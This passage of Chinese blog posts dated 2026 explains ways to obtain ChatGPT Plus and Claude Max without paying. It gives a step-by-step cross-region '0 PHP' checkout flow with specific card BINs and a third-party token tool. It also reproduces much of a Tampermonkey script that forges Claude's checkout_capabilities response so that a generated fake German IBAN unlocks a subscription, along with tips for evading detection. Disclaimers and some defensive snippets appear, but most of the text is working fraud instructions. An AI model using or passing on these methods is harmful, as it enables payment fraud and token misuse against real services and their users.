从商业角度看，提链让全球用户有了一种不依赖信用卡的方式来使用 ChatGPT。在信用卡渗透率不到 10% 的印度，UPI 是 8 亿人的默认支付方式。提链本身不是什么灰色操作——它只是把 Stripe 的能力释放给了真正需要的人。

最后的最后：本文提到的所有脚本和协议细节都有时效性。OpenAI 和 Stripe 的接口在持续变化——Stripe runtime version 会更新，API 字段会调整，风控规则会收紧。今天能跑的脚本，明天可能就 403 了。理解原理比收藏脚本更重要。

附录：直卡绑定——另一条路

除了提链，还有一种完全不同的思路：直接给 ChatGPT 账号绑一张卡，然后正常走 checkout。

这就是"直卡焚决"方法的核心。它不绕过前端、不走第三方支付——它解决的是"没有美区信用卡"这个前置问题。

原理

OpenAI 的 /backend-api/payments/payment_method 接口支持创建 Stripe SetupIntent——这是 Stripe 的"先绑卡不扣款"机制。绑上之后，下次走 checkout 时就有卡可用了。

配套的控制台脚本（在 chatgpt.com 的 Console 里运行）做了这几件事：

自动发现 Stripe 公钥——OpenAI 有两个 Stripe 商户分片（KslHRdbaPg 和 C6h1nxGoI3），脚本通过 retrieveSetupIntent 自动匹配当前账号属于哪个分片
创建 SetupIntent——调用 OpenAI 的 payment_method API，拿到 client_secret
渲染 Stripe Card Element——在页面上弹出一个模态框，内嵌 Stripe 的标准卡输入组件
确认绑定——stripe.confirmCardSetup + set_as_default_payment_method: true

// 关键调用
const result = await stripe.confirmCardSetup(clientSecret, {
 payment_method: {
 card: cardElement,
 billing_details: { name },
 allow_redisplay: 'always'
 },
 set_as_default_payment_method: true
});

绑卡成功后，脚本还会调用 /backend-api/payments/payment_methods 拉取当前账号的所有支付方式列表，用 console.table 打印出来。你可以看到新绑的卡已经成为默认支付方式。

和提链的关系

直卡绑定：解决"没有卡"的问题。需要有一张能过 Stripe AVS/3DS 验证的实体或虚拟卡。
提链：解决"不想/不能用信用卡"的问题。走本地支付方式，完全不涉及信用卡。

两种方法互补——有卡的用直卡，没卡的用提链。

0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解

Tue, 28 Jul 2026 18:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。文中不提供可直接复用的攻击工具或完整利用脚本。利用类似手段对正式服务进行未授权操作属违法行为，后果自负。本文目的是帮助支付系统开发者理解跨区定价攻击面并加固防御。

前言

这两天群里炸了。

有人甩出一张截图：Stripe 结账页面，产品写着 “ChatGPT Plus”，金额一栏赫然显示 ₱0.00 PHP。菲律宾比索，零元，提交即开通。

评论区画风可想而知——“假的吧"“PS 的吧"“你怎么不说 Plus 倒找你钱”。

然后陆陆续续有人贴出了完整流程，甚至还配了视频录屏。操作步骤不复杂，总共四步，不需要 Root，不需要 Frida，不需要改一行代码。唯一的技术含量在于——你得知道用什么顺序把哪些区域串起来。

这就有意思了。之前我们拆过 prorationMode hook（改一个 putInt 白嫖 Claude Max）、拆过焚决脚本（劫持 checkout_capabilities 走 SEPA 假账号）、拆过 RevenueCat 凭证转移（匿名购买 + restore 归属偷渡）。那些多少都是"改代码"的路子——Hook 内存、注入响应、篡改参数。

但这次不一样。这次什么都没改。没有脚本，没有 Hook，没有中间人。攻击者只是以一种特定的顺序访问了几个网页，然后 Stripe 自己就吐出了 0 元账单。

今天把它完整拆开。

一、攻击全景：四步，从 JP 到 PH，从 $20 到 ₱0

先把流传的步骤还原一下：

Step 1：日本节点注册 OpenAI 账号

挂 JP 代理，开一个干净的浏览器 Profile（指纹浏览器或者 Chrome 新 Profile），去 OpenAI 官网正常注册，邮箱验证，登录确认。

此时你的账号状态：

account.locale = "ja-JP"
account.billing_country = "JP"
account.currency = "JPY"

OpenAI 在注册时根据你的 IP 地理位置初始化账号的计费区域。这一步的目的不是"要日本"本身，而是要一个非美区的初始定价锚点。

Step 2：切美国节点，提取 Access Token

保持同一个浏览器 Profile，VPN 切到 US 节点，重新登录刚才注册的账号。然后新标签页打开：

https://chatgpt.com/api/auth/session

浏览器返回一个 JSON，里面有 accessToken 字段——一个标准 JWT。复制保存。

此时你的 session 状态出现了第一层矛盾：

account.billing_country = "JP" ← 注册时写入，持久化在 OpenAI 数据库
session.ip_country = "US" ← 当前 IP 推断，存在 session/edge 层

Step 3：第三方工具生成 Checkout 链接

打开某个第三方"CDK 提炼"工具站点（这类工具本质上就是一个 AT → Stripe Checkout Session 的代理），把 Access Token 粘进去，点生成。

工具返回一个链接，格式：

https://chatgpt.com/checkout/openai_llc/oaics_xxxxxxxxxxxxxxxxxxxxx

oaics_ 是 OpenAI 的 Stripe Checkout Session ID 前缀。这个 session 是 OpenAI 后端基于你的 AT 创建的，包含了产品、价格、货币等信息。

关键问题来了：这个 Checkout Session 的 currency 和 amount 是怎么决定的？

Step 4：打开链接，惊喜时刻

在美国节点下打开这个 oaics 链接。Stripe 结账页面加载出来，你看到：

ChatGPT Plus
₱0.00 PHP / month

菲律宾比索。零元。

填入指定 BIN 的卡片信息（523686 或 4513），美国账单地址，提交。

Stripe 收了一笔 0 元交易，OpenAI 后端确认 checkout session 成功，权益生效。回到 ChatGPT 首页，左上角已经是 Plus 了。

二、为什么是 0 PHP？——三种假说

先澄清一个重要事实：OpenAI 在菲律宾是有明确定价的，ChatGPT Plus 的 PH 区定价大约是 ₱990 PHP/月。所以这不是简单的"价格表空洞导致 fallback 到 0”——如果定价系统正常查 PH 价格表，应该返回 ₱990，不是 ₱0。

那 0 是怎么来的？没有对 Checkout Session 创建过程的完整抓包，我们只能做推断。以下三种假说按可能性排序。

假说一：第三方工具在创建 Checkout Session 时注入了零元参数（最可能）

OpenAI 的 /backend-api/payments/checkout 接口接受多个参数来创建 Stripe Checkout Session。如果这个接口接受客户端传入的 discount、coupon、promotion_code 或类似参数，且后端没做资格校验——工具直接传了一个 100% 折扣的 coupon code 或者 amount_override: 0。

这和之前 RevenueCat 文章里分析过的 eligible_promo_campaigns 注入如出一辙：客户端声称"我有优惠资格”，后端不校验就信了。

// 工具的真实请求可能长这样
body: JSON.stringify({
 plan: "plus",
 promotion_code: "某个内部免费试用码",
 // 或者
 billing_country: "PH",
 currency: "php",
 // 或者更直接的
 price_override: 0
})

JP 注册 + US 登录制造的区域歧义，可能不是直接触发 0 元的原因，而是绕过风控检查的前置条件——当账号区域和 IP 区域不一致时，后端对 checkout 参数的校验逻辑可能走入了一个宽松的分支。

假说二：跨区信号冲突导致定价路由进入异常分支

当 OpenAI 创建 Stripe Checkout Session 时，面前有至少四个区域信号：

信号来源	值	决定时机
账号注册地	JP	注册时固化
当前 session IP	US	每次请求实时推断
Stripe 卡 BIN 发行国	PH	填卡时由 Stripe 推断
浏览器 Accept-Language	取决于浏览器设置	每次请求携带

正常场景下这四个信号一致——美国人在美国用美国卡买东西，直接查 US 价格表。

但当 JP ≠ US ≠ PH 三个信号同时存在时，定价系统需要做一个选择。如果选择逻辑是 if (account.country != ip.country) { use card.country } 这种优先级策略，而 PH 价格表虽然存在但在某个子路径（比如"非本地注册用户+跨区IP"的特殊定价分支）中没有配置——就可能在这个特殊分支里 fallback 到 0。

换句话说：PH 的主价格表有值（₱990），但某个异常处理路径的价格映射没覆盖到 PH，攻击者通过区域信号碎片化精确命中了这条路径。

假说三：Stripe Checkout Session 的 line_items 被工具篡改

Stripe checkout.sessions.create 的 line_items 参数包含 price 或 price_data。如果 OpenAI 的接口允许客户端指定 price_data.unit_amount（哪怕是间接的），工具就能在创建 session 时直接把金额写成 0。

line_items: [{
 price_data: {
 currency: "php",
 unit_amount: 0, // 直接指定 0
 product: "prod_xxx",
 recurring: { interval: "month" }
 },
 quantity: 1
}]

这种情况下 PH BIN 的作用不是"触发 PH 价格表"，而是让 currency 字段说得通——如果你传 currency: "php" 但卡是 US 卡，Stripe 可能会有额外的 currency mismatch 警告。PH 卡 + PHP 货币是自洽的。

为什么是 PH BIN？

无论哪种假说，流传的两个 BIN 都有其作用：

BIN	网络	发行国
523686	Mastercard	菲律宾
4513xx	Visa	取决于具体发行行

523686 开头的卡填入 Stripe 表单时，Stripe 内部标记 payment_method.card.country = "PH"。这个信号在整个支付流中传播。PH BIN 的作用至少有两个：

让 PHP 货币的 checkout session 能正常完成——卡的发行国和结账货币匹配
可能绕过 OpenAI 的 card-country vs account-country 风控规则——PH 卡付 PHP 金额在 Stripe 层面是"正常交易"

三、JP 注册的作用——制造"区域身份分裂"

你可能会问：为什么不直接在美国注册、美国提 Token、用 PH 卡付？

答案是：直接美区注册的账号，定价系统的行为是确定性的——走 US 价格表，$20 USD，没有歧义可利用。

JP 注册的作用是制造一个区域身份不确定的账号。当账号的 billing_country 是 JP，session IP 是 US，这两个信号已经矛盾了。定价系统在处理这种矛盾时，可能会：

走入一个异常处理分支，该分支的参数校验比正常路径更宽松
允许第三方工具注入的额外参数（如 currency、discount）覆盖默认行为
使用一个与主价格表不同的备用定价逻辑，而这个逻辑有漏洞

用状态机的视角看：

 ┌──────────────┐
 │ 注册时: JP │
 │ locale=ja-JP │
 └──────┬───────┘
 │
 ┌──────▼───────┐
 │ 登录时: US │
 │ ip_country=US│
 │ ≠ locale │
 └──────┬───────┘
 │
 ┌──────▼───────────┐
 │ 创建 Checkout │
 │ JP ≠ US → 歧义 │
 │ → 进入异常分支 │
 │ → 参数校验宽松 │
 └──────┬───────────┘
 │
 ┌──────▼───────────┐
 │ 工具注入参数 │
 │ + Card BIN: PH │
 │ → amount = 0 PHP │
 └──────────────────┘

三个不同的区域信号（JP / US / PH）制造了歧义，歧义打开了异常路径，异常路径上的校验缺失被利用。

这是一个经典的安全反模式：当多个权威源对同一个问题给出不同答案时，系统在歧义中放松了校验——不是直接返回 0，而是给了攻击者操纵结果的空间。

四、第三方"提炼工具"在干什么？

流程里的那个第三方网站（sms.linlinflow.ccwu.cc），名字叫"CDK 提炼"，听着玄乎，其实它干的事非常直白：

接收你的 Access Token
用这个 AT 调用 OpenAI 后端 API，创建一个 Stripe Checkout Session
把 Checkout Session 的 URL 返回给你

本质就是一个 AT → oaics_ 链接 的代理服务。

它的技术实现大概率是这样的：

// 伪代码，非真实接口
const response = await fetch("https://chatgpt.com/backend-api/payment/checkout", {
 method: "POST",
 headers: {
 "Authorization": `Bearer ${accessToken}`,
 "Content-Type": "application/json"
 },
 body: JSON.stringify({
 plan: "plus",
 // 关键：这里可能注入了额外参数
 // billing_country? currency? locale?
 })
});

const { checkout_url } = await response.json();
// checkout_url = "https://chatgpt.com/checkout/openai_llc/oaics_..."

关键问题：工具只是"转发"了 AT，还是"动了手脚"？

考虑到 PH 区有明确的 Plus 定价（约 ₱990/月），而结果是 ₱0——工具大概率不只是简单转发。它在创建 Checkout Session 时注入了额外参数，利用跨区账号的异常处理路径绕过了服务端校验。

具体注入了什么参数？没有抓包数据我们无法确定。可能是 promotion_code、discount、currency + amount 覆盖、甚至是一个 OpenAI 内部的免费试用 API 路径。但有一点可以确定：如果工具只是忠实转发 AT，以 PH 区 ₱990 的定价，结果不可能是 ₱0。

工具是这个攻击链中最不透明的环节。你把 Access Token——等同于你的登录态——交给了一个第三方服务。它用你的身份做了什么请求、传了什么参数，你完全不知道。这也是为什么整个流程的"技术含量"看似很低——核心逻辑都藏在工具服务端里，用户只是按步骤操作。

五、BIN 选择——不是随便什么卡都行

流传的步骤里特别强调了两个 BIN：523686（Mastercard）和 4513（Visa）。这不是随便挑的。

BIN 在支付流中的角色

BIN（Bank Identification Number）是卡号的前 6-8 位，编码了发卡行、卡网络、卡类型和发行国等信息。Stripe 在收到卡号的前 6 位时就能确定：

523686 → Mastercard / Philippines / Credit / 某发卡行

这个信息会被写入 payment_method.card.country，并在整个支付流中传播。

为什么必须是 PH BIN？

PH BIN 的作用不是"触发一个空的价格表"——PH 价格表是存在的（约 ₱990/月）。

更可能的解释是：

货币匹配：如果工具创建的 Checkout Session 指定了 currency: "php"，那么 PH 发行的卡才能让 Stripe 的 currency-card 一致性检查通过。US 卡 + PHP 货币会触发额外的风控审查。
风控绕过：OpenAI/Stripe 的风控系统可能对"card country = PH + checkout currency = PHP"这个组合判定为"正常的本地交易"，不会触发跨境支付的额外校验。而如果用 JP 卡或 US 卡来付一笔 0 PHP 的订单，风控更容易拦截。
AVS 绕过：PH 卡不走 Stripe 的 AVS 地址校验，所以填什么地址都行——这降低了被拒的概率。

523686 和 4513 是经过实测确认能被 Stripe 正确识别为 card.country = "PH" 的 BIN 段。不是所有 PH BIN 都行，因为某些 BIN 可能已被 OpenAI/Stripe 的风控规则标记或黑名单。

为什么要填美国账单地址？

这步看起来矛盾——卡是菲律宾的，地址填美国？

原因是 Stripe 的 AVS（Address Verification Service）只对美国和英国的卡做地址校验。PH 卡不走 AVS，所以你填什么地址都无所谓——但如果你填 PH 地址，可能触发 OpenAI 的额外风控逻辑。填 US 地址是为了"看起来正常"，降低被风控拦截的概率。

六、从防御视角看——OpenAI 需要修什么

不管具体是哪种假说成立，防御原则是通用的。

修复方案（从简单到全面）

Level 1：Checkout Session 金额校验

def create_checkout_session(user, plan):
 price = get_price(plan, resolve_country(user))
 if price["amount"] == 0 and plan != "free":
 raise ValueError("Zero-amount checkout for paid plan")
 # ...

付费产品金额为 0 时直接拒绝创建 session。这应该是支付系统的基本不变量。

Level 3：区域一致性校验

def resolve_country(user):
 signals = {
 "registration": user.billing_country, # JP
 "session_ip": geoip(user.current_ip), # US
 "card_bin": None, # 创建 session 时还不知道
 }
 # 如果注册地和 session IP 不一致，以注册地为准
 # 不让 card BIN 覆盖定价区域
 return signals["registration"]

定价的 country 由一个确定性函数决定，不受 card BIN 影响。Card BIN 的 country 只用于风控信号，不参与定价。

Level 4：Webhook 后置校验

def on_checkout_completed(event):
 session = event.data.object
 if session.amount_total == 0 and session.mode == "subscription":
 # 0 元订阅？不对劲
 stripe.Subscription.delete(session.subscription)
 alert("Zero-amount subscription detected", session)

即使 Checkout Session 创建时金额为 0，在 checkout.session.completed webhook 里也要做最终校验。这是最后一道防线。

七、这个漏洞和之前的几个有什么关系？

放在一起看，这几个月被扒出来的 ChatGPT/Claude 支付漏洞其实形成了一个谱系：

漏洞	攻击层	改了什么	核心缺陷
prorationMode Hook	客户端内存	`putInt` 的一个参数	Google Play 信任客户端传入的升级策略
焚决 (cassia)	HTTP 响应	`checkout_flow` 字段	前端根据 API 响应选择支付通道，后端不校验
RevenueCat 转移	聚合器 API	`is_restore` + `app_user_id`	匿名购买 + restore 归属无限转移
API 响应注入	HTTP 响应	`eligible_promo_campaigns`	优惠码资格校验仅在前端
0 PHP 跨区 (本文)	定价系统	区域信号 + 工具注入	跨区歧义打开异常路径 + checkout 参数校验缺失

注意到了吗？攻击层在不断"上移"。

早期的漏洞需要 Root、需要 Frida、需要改代码——门槛不低。焚决降到了一个油猴脚本的水平。而 0 PHP 攻击连脚本都不需要——纯操作流程，任何人都能复现。

从攻击者的角度看，这是一个自然演进：当客户端层的防御越来越强（代码混淆、完整性校验、证书绑定），攻击者就会转向更高层——业务逻辑层、定价系统层、区域路由层。 这些层的防御往往更薄弱，因为它们不像"加密"“签名"那样有明确的安全框架，它们是业务系统的一部分，安全评审时容易被忽略。

八、更通用的攻击模式——“区域信号碎片化”

0 PHP 攻击其实揭示了一个通用的攻击模式，我把它叫做**“区域信号碎片化攻击”（Region Signal Fragmentation）**。

攻击模型

victim_system.pricing = f(country)

country = resolve(
 signal_1: registration_country, ← 攻击者控制（注册时选择 VPN 节点）
 signal_2: session_ip_country, ← 攻击者控制（登录时选择 VPN 节点）
 signal_3: card_bin_country, ← 攻击者控制（选择特定 BIN 的卡）
 signal_4: browser_locale, ← 攻击者控制（浏览器设置）
 signal_5: billing_address, ← 攻击者控制（表单填写）
)

所有五个信号都由攻击者完全控制。如果 resolve() 函数对歧义输入的处理不当——比如进入异常分支后放松了参数校验，或者 fallback 逻辑允许客户端覆盖定价——攻击者就能把定价推入非预期状态。

防御原则

原则一：定价权归一

pricing_country = user.billing_country // 只有一个来源，注册时确定
// card BIN、IP、locale 都不参与定价决策
// 只作为风控辅助信号

原则二：Checkout 参数不可客户端覆盖

# 服务端决定 price、currency、amount
# 客户端/第三方传入的 discount、coupon、price_override 一律忽略
# 只接受服务端白名单内的 promotion_code，且校验账号资格
checkout_session = stripe.checkout.Session.create(
 line_items=[server_determined_price], # 不接受客户端 price_data
 discounts=[], # 不接受客户端 coupon
)

客户端能影响定价 = 攻击面。

原则三：零元红线

if checkout.amount == 0 and plan.type == "paid":
 REJECT() // 无条件拒绝

付费产品不可能合法地出现 0 元。这应该是一个硬编码的不变量，不依赖任何业务逻辑。

九、写在最后

从 prorationMode 到焚决到 RevenueCat 到 0 PHP，每一个漏洞都指向同一个结构性问题：

当支付系统由多个独立组件（商店、聚合器、定价引擎、checkout 前端、webhook 后端）拼装而成时，组件之间的信任传递就是攻击面。

prorationMode 的信任传递是"Google Play 信任客户端传入的升级策略”。焚决的信任传递是"前端信任 API 返回的支付通道"。RevenueCat 的信任传递是"聚合器信任 SDK 传入的 app_user_id"。0 PHP 的信任传递是"定价系统信任 card BIN 推断的国家"。

没有一个单点漏洞，都是链路上的信任滑坡。

而防御的核心思路也始终一样：在链路的最末端（服务端 webhook、权益发放点）做最终校验，不信任链路上游传递的任何"结论"，只信任可验证的"事实"。

具体到 0 PHP 这个 case：Stripe checkout.session.completed 事件里的 amount_total 是事实，currency 是事实。如果一个 ChatGPT Plus 订阅的 amount_total 是 0——不管前面经历了多少层区域路由和定价查询——这就不对。拦住它。

这比修价格表更重要。因为价格表总有遗漏，但"付费产品不能 0 元"这条规则没有例外。

往期相关：

Google Play 内购 CC Max 漏洞深度拆解

焚决 Claude — 油猴脚本撬开支付大门

GPT Plus 订阅漏洞 — RevenueCat 凭证转移

GPT Plus 订阅漏洞 — Google Play Billing 鉴权缺失

焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门

Sun, 26 Jul 2026 04:49:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒：本文发布于 2026 年 7 月，文中涉及的 API 端点、支付流参数均为发布时有效值。Anthropic 随时可能修改 checkout_capabilities 响应结构或在后端追加校验逻辑，届时本方法将失效。本文保留仅供安全研究与客户端安全防御参考。

前言

最近圈子里流传着一个叫**「焚决」**的东西，名字取得很玄，搞得好像什么了不得的秘术。拿到手一看——是一段不到 200 行的 Tampermonkey 油猴脚本。

但别小看这 200 行代码。它干了一件非常漂亮的事情：在你打开 Claude 网页版准备付费订阅的瞬间，在浏览器内部悄无声息地篡改了一个 API 响应，把你看到的支付页面从信用卡表单换成了 SEPA 银行转账。然后你去 randomiban.com 随便生成一个德国银行账号，填进去，提交——Claude Max 到手，扣款金额 0 元。

这玩意在外面传得沸沸扬扬，各路卡网卖的廉价 Claude 会员，相当一部分就是靠这个批量生产的。

今天咱们把它彻底拆开。不光讲它怎么工作，更要讲为什么能成、它利用了支付系统的哪个结构性缺陷、以及这种攻击模式怎么迁移到其他平台。

一、攻击全景：一个 API 字段改写引发的连锁反应

正常的 Claude 订阅流程

打开 claude.ai，点击升级订阅，前端第一件事不是弹出支付表单——它先问后端一个问题：

GET /api/organizations/{org_id}/subscription/checkout_capabilities

这个接口的职责很简单：告诉前端，当前这个用户应该走哪条支付通道。 后端会综合 IP 地理位置、账号注册区域、浏览器 Accept-Language 等信号，返回一个支付流标识：

{
 "checkout_flow": "stripe"
}

前端拿到 stripe，渲染信用卡表单——卡号、有效期、CVV、3DS 二次验证，一套标准流程。信用卡支付是同步授权的，银行实时校验，过不了就是过不了。

劫持后的流程

脚本做的事情只有一件：把所有命中 checkout_capabilities 的响应体替换为：

{
 "checkout_flow": "cassia"
}

cassia 是 Anthropic 内部用于欧洲 SEPA 银行转账的支付流标识。前端一看返回值变了，渲染逻辑直接切换——不再是信用卡表单，而是一个 IBAN 输入框。

这时候去 randomiban.com 生成一个德国 IBAN（格式：DE + 2 位校验码 + 8 位银行代码 + 10 位账号，共 22 位），填进去，点提交。

前端校验？只检查 IBAN 格式是否合法（MOD 97-10 校验通过即可）。

后端校验？SEPA 体系下，提交时不做实时账户验证。

结果：Claude 立刻给你开通了订阅。

二、SEPA 直接借记——为什么填个假账号也能过

这是整个攻击的核心利用点，不理解 SEPA 的清算机制，就不可能理解这个漏洞为什么成立。

先搞清楚 SEPA 是什么

SEPA（Single Euro Payments Area，单一欧元支付区）覆盖 36 个欧洲国家和地区，是欧盟推动的统一支付基础设施。其中的 SEPA Direct Debit（直接借记，德语叫 Lastschriftverfahren）允许商家向消费者的银行账户"拉钱"——不是你给商家转账，而是商家拿着你的授权凭证去你的银行把钱取走。

听起来很方便对吧？问题就出在这个"拉钱"的流程设计上。

信用卡 vs SEPA 直接借记：两套完全不同的信任模型

	信用卡（Stripe 标准流）	SEPA 直接借记（cassia 流）
授权模式	同步在线授权	异步离线扣款
交易发起时校验	卡号 Luhn 校验 + CVV 验证 + 3DS 二次认证 + 银行实时授权	IBAN MOD 97-10 格式校验，仅此而已
银行参与时机	交易发起的瞬间	交易发起后的 1-3 个工作日
资金确认	毫秒级返回授权结果	银行不返回任何确认，排队等清算
消费者保护	Chargeback 争议流程	8 周无条件撤回权（SEPA CORE 规则）

看到关键区别了吗？信用卡在你点击支付的那一瞬间就跟银行确认了你有没有钱、卡号对不对、你本人是不是同意的。而 SEPA 直接借记完全不做这些——它只检查 IBAN 的格式，然后把扣款请求扔进银行间的批量清算队列里，等着慢慢处理。

SEPA CORE 清算流程

实际的清算过程是这样的：

你提交 IBAN
 ↓
支付网关做 MOD 97-10 校验（纯数学公式，检查 IBAN 格式是否合法）
 ↓
校验通过 → 支付网关返回"交易成功"
 ↓
Anthropic 收到成功信号 → 开通你的 Claude Max 订阅
 ↓
... T+1 到 T+3 工作日 ...
 ↓
扣款请求进入 SEPA CORE 清算系统
 ↓
商家银行 → 消费者银行：请从账号 DEXX XXXX XXXX XXXX XXXX XX 扣 $20
 ↓
消费者银行查询账号 → 账号不存在 / 余额不足 / 未授权
 ↓
返回 R 代码拒绝（R02=无效账号, R04=账户已关, R05=被授权人撤销...）
 ↓
Anthropic 收到扣款失败通知 → 关闭你的订阅

重点来了：从你提交 IBAN 到银行清算出结果，中间有一个 1-3 个工作日的真空期。 在这段时间里，你的 Claude Max 订阅是完全生效的——能用 Opus、能用所有高级功能、流量不限。

MOD 97-10：格式校验的局限性

IBAN 的校验算法叫 ISO 7064 MOD 97-10，原理其实很简单：

把 IBAN 的国家代码和校验码移到末尾
把字母转换为数字（A=10, B=11, …, Z=35）
对整个大整数做 MOD 97 运算
结果等于 1 就合法

这个算法能检出什么？格式错误——打错了某一位、漏了一位、国家代码不对。

这个算法检不出什么？一切跟真实世界有关的东西——账户是否存在、余额是否充足、持有人是不是你。

randomiban.com 生成的 IBAN 就是利用了这一点：它按照 MOD 97-10 算法逆向构造，生成的 IBAN 格式 100% 合法，能通过任何基于此算法的前端和后端校验。至于这个账号在不在现实中存在——那是 3 天后银行清算时才会发现的事情。

为什么偏偏是德国 IBAN？

SEPA 覆盖 36 个国家，为什么脚本选了德国（DE）？

格式最简单：DE 开头的 IBAN 固定 22 位，结构是 DE + 2位校验码 + 8位银行代码(BLZ) + 10位账号，没有额外的国家级校验叠加
通过率最高：德国 IBAN 在 Stripe 等主流支付网关的接受度最好，不会触发额外的地区风控
银行代码空间大：8 位 BLZ 有大量有效的银行代码段，随机生成碰上有效 BLZ 前缀的概率不低

对比一下法国 IBAN（27 位，还有额外的 RIB 密钥校验）或者西班牙 IBAN（24 位，有 DC 校验位），德国确实是阻力最小的选择。

三、脚本逐行技术拆解

理解了 SEPA 的机制，再来看脚本本身就清晰多了。每一个设计决策都有明确的技术理由。

3.1 元数据——抢在一切之前

// @name TestExample Cassia Response Mock
// @match *://claude.ai/*
// @match *://*.claude.ai/*
// @run-at document-start
// @grant none
// @sandbox raw

三个关键设定：

@run-at document-start：页面 DOM 还没开始构建，脚本已经注入完毕。这不是可选项——如果等到 document-idle，checkout_capabilities 的请求可能已经发出去了，Hook 就晚了。整个攻击成立的前提就是比目标请求更早完成注入。
@sandbox raw：绕过 Tampermonkey 的安全沙箱。默认沙箱会隔离脚本的执行上下文，导致你覆盖的 window.fetch 和页面实际用的 window.fetch 不是同一个。raw 模式下脚本直接在页面上下文中执行，Hook 才能真正生效。
@grant none：不申请 GM_* 系列 API 权限。一方面减少 Tampermonkey 的安全提示弹窗，另一方面 @sandbox raw 本身就不兼容 GM_* API。

3.2 精确制导——只改一个接口

const TARGET_PATH =
 /^\/api\/organizations\/[^/]+\/subscription\/checkout_capabilities\/?$/;

正则匹配精确到路径段，连末尾有没有斜杠都考虑了。只拦截这一个接口，其他所有请求原样放行。

为什么是这个接口？因为它是 Claude 前端支付流的单一决策点——前端根据它的返回值决定渲染 Stripe 信用卡表单还是 SEPA IBAN 输入框。控制了这个响应，就控制了用户看到的整个支付界面。

这种精准度也是为了隐蔽性——如果你 Hook 了所有请求，前端的行为会出各种异常，容易暴露。只改一个接口，前端其他部分的运行完全正常。

3.3 Fetch 拦截——先发后改

const nativeFetch = window.fetch;

window.fetch = async function (input, init) {
 const method = init?.method ||
 (input instanceof Request ? input.method : "GET");

 const targetUrl = getTargetUrl(input, method);
 const originalResponse = await nativeFetch.apply(this, arguments);

 if (!targetUrl) {
 return originalResponse;
 }

 return createMockResponse(originalResponse);
};

注意调用顺序：先用原生 fetch 把真实请求正常发出去，等拿到响应后再替换返回值。

这是这个脚本最巧妙的地方。

如果直接拦截请求不发出去，构造一个假响应返回呢？功能上没问题。但从服务端的角度看——你打开了支付页面，前端应该调 checkout_capabilities，结果后端日志里根本没看到这个请求。这就是一个异常信号，可以被 Anthropic 的安全团队用于检测。

先发后改的策略完美回避了这个问题：服务端日志里看到了正常的 GET 请求、正常的 200 响应，一切如常。篡改发生在浏览器内部，从 HTTPS 加密通道往外看什么都没变。

3.4 Response 重构——细节决定成败

function createMockResponse(originalResponse) {
 const headers = new Headers(originalResponse.headers);

 headers.delete("content-length");
 headers.delete("content-encoding");
 headers.delete("etag");
 headers.delete("content-md5");

 headers.set("content-type", "application/json; charset=utf-8");
 headers.set("content-length", String(MOCK_LENGTH));
 headers.set("cache-control", "no-store");

 const response = new Response(MOCK_BODY, {
 status: 200,
 statusText: "OK",
 headers
 });

逐个分析删掉的响应头：

content-encoding：原始响应大概率是 gzip 或 br 压缩的。我们构造的 JSON 是明文，如果不删这个头，浏览器会拿着明文 JSON 去做 gzip 解压——直接炸。
content-length：原始响应体大小和我们构造的不一样，不改的话浏览器会截断或报错。
etag / content-md5：完整性校验头。原始响应的哈希和我们篡改后的内容对不上。虽然浏览器通常不强制校验这些头，但删掉更保险——万一前端代码拿这些值做了缓存校验呢。
cache-control: no-store：强制不缓存。如果浏览器缓存了我们的假响应，下次刷新页面不走 Hook 了就拿到缓存的假数据——反而弄巧成拙。反过来，如果缓存了之前的真响应，前端可能直接用缓存不发请求，Hook 就没机会触发。no-store 确保每次都走网络请求，每次都经过 Hook。

3.5 XHR 双通道保险

脚本不光 Hook 了 fetch，还对 XMLHttpRequest 做了一套完整的拦截——覆盖了 responseText、response、status、statusText、getResponseHeader、getAllResponseHeaders。

为什么要两套？现代 Web 应用大多用 fetch，但你无法保证 Anthropic 的前端代码——或者它依赖的第三方库——不会在某些场景下 fallback 到 XHR。少 Hook 一个通道就是留了一条漏网之鱼。

XHR 的 Hook 方式也值得一看：

function replaceXhrGetter(propertyName, replacement) {
 const descriptor =
 Object.getOwnPropertyDescriptor(XhrPrototype, propertyName);

 if (!descriptor || typeof descriptor.get !== "function" ||
 descriptor.configurable === false) {
 console.warn(`[Cassia Mock] 无法接管 XHR.${propertyName}`);
 return;
 }

 const nativeGetter = descriptor.get;

 Object.defineProperty(XhrPrototype, propertyName, {
 ...descriptor,
 get: function () {
 if (!getMatchedXhr(this)) {
 return nativeGetter.call(this);
 }
 return replacement.call(this, nativeGetter);
 }
 });
}

用 Object.getOwnPropertyDescriptor 先取原始的 property descriptor，再通过 Object.defineProperty 精确替换 getter。比直接赋值靠谱得多——它保留了原始 descriptor 的所有属性（configurable、enumerable），而且会先检查 configurable 是否为 false，如果属性被冻结就优雅降级而不是静默失败。

3.6 状态指示器

const badge = document.createElement("div");
badge.id = "cassia-mock-badge";
badge.textContent = "Cassia Mock ON";

页面右下角一个绿色小角标，确认脚本已激活。实际攻击中这是个安慰剂——真正的确认是看支付页面有没有从信用卡变成 IBAN 输入框。但对于批量操作的卡商来说，这个视觉反馈能提高操作效率。

四、横向迁移：这不是一个漏洞，是一类漏洞

分析完焚决，我们跳出来看一个更有价值的问题：这类攻击是可复用的。

漏洞本质

客户端信任边界缺失：服务端将支付流的决策权——“这个用户该走哪条支付通道”——交给了一个客户端可以任意篡改的 API 响应。

这不是孤例。回顾我们之前分析过的一系列支付漏洞，它们共享同一个底层模式：

漏洞	被篡改的对象	信任边界裂缝
焚决（本例）	`checkout_capabilities` 响应	前端信任 API 返回值决定支付通道
GPT Plus offerToken 注入	Google Play Billing 内存中的 offerToken	服务端不校验 token 与账号资格的绑定关系
GPT iOS 收据复用	Base64 App Store 收据	服务端不验证收据与提交者账号的对应关系
Cloudflare Pro 竞态	并发请求的状态窗口	权限发放与支付确认之间存在可利用的时序差
RevenueCat 回调劫持	`fetch_token` 跨账号提交	第三方回调接口缺乏调用方鉴权

通用攻击模型

把这些漏洞抽象一下，可以提取出一个四步攻击框架：

1. 定位决策接口
 找到决定支付流 / 功能开关 / 定价计算的 API 端点
 信号关键词：checkout_capabilities, payment_methods, available_plans,
 eligible_promotions, feature_flags, entitlements

2. 注入篡改数据
